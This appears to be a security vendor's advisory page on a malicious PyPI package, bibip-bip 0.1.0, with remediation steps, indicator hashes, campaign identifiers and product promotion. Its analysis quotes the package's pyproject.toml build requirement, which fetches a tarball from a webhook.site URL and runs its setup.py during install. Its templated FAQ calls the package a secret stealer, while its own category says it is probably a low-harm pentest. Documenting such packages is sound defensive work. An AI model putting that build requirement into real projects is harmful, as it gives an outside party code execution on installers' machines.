Which versions of bibip-bip are malicious?

The following PyPI versions of bibip-bip are flagged malicious: 0.1.0. Treat any of these as compromised.

How do I remediate bibip-bip if I installed it?

bibip-bip is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed bibip-bip — how do I know if it already compromised me?

If bibip-bip was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is bibip-bip part of a known attack campaign?

Yes — bibip-bip is associated with the GENERIC-standard-pypi-install-pentest, IN-MAL-2026-005824, IN-MAL-2026-005823 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find bibip-bip across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for bibip-bip (version 0.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging bibip-bip across your stack and pipelines.

Malicious package

bibip-bipPyPI

Malicious code in bibip-bip (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-5649

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall bibip-bip

What this malware does

pyproject.toml declares a PEP 517 build requirement that points to an arbitrary tarball hosted on webhook.site, an anonymous request-inspection / file-hosting service: requires = ["setuptools>=64", "aliga-raison @ https://webhook.site/d5367f1c-8bca-4d14-83d3-b2cbbce825eb/pypi/aliga-raison.tar.gz"]. During pip install (or pip wheel / sdist build) pip resolves this direct-URL requirement into the build isolation environment and executes the tarball's setup.py, giving the URL owner arbitrary code execution on the installer's machine. The URL is unpinned (no hash), is not on the publisher's domain, and webhook.site content is fully attacker-controlled and mutable. The package's advertised purpose ('simple hello package') has no legitimate need for an external build dependency, let alone one fetched from an anonymous host.

Package tests exploitation via externally-hosted dependencies

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
The package overrides the install command in setup.py to execute malicious code during installation.

Malicious versions

1 flagged

0.1.0

Indicators of compromise (SHA-256)

e9fe54b6f6746a12583461c774f3641de4be0a30042b0349c90b56a25413aa44

037413514e59e8eaf4c4ca68615bce9af120aed9f8742cf1992c6b8cd38d4941

c2b153c90d83d4653660dd79a5a0935af85bd804fd98163c42995403bca240a6

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for bibip-bip (version 0.1.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging bibip-bip across your stack and pipelines.
If you installed it — respond
bibip-bip is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If bibip-bip was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks bibip-bip before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. bibip-bip on PyPI has been identified as a malicious package (version 0.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GENERIC-standard-pypi-install-pentestIN-MAL-2026-005824IN-MAL-2026-005823

References

Credits

Amazon Inspector · finder
Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks bibip-bip-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring